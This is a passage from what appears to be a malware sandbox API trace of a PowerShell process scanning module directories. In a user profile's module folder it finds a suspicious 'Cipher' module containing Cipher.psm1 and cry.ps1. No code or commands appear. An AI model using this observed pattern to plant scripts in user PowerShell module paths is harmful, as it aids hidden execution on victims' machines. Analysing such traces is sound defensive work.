nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0177.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0177.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0177.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0177.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0177.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0177.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0177.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0177.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0177.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.269] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.333] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0177.333] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.333] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0177.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0177.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e464) returned 1 [0177.334] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e728 | out: lpFileInformation=0x5a2e728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0177.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0177.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0177.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0177.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0177.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22af7dc | out: lpFileInformation=0x22af7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0177.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.335] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0177.335] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0177.336] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0177.336] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0177.336] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0177.336] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0177.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0177.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0177.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0177.344] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.345] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.345] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 1 [0177.345] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.345] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0177.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0177.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0177.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0177.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0177.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0177.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0177.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0177.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0177.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0177.348] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.348] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.348] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0177.348] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0177.348] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0177.348] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.349] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0177.349] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0177.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0177.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0177.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0177.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0177.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x22b67c8 | out: lpFileInformation=0x22b67c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0177.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.354] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0177.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.355] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0177.355] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0177.356] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.356] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.356] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0177.356] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0177.356] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.356] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0177.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0177.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0177.358] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files 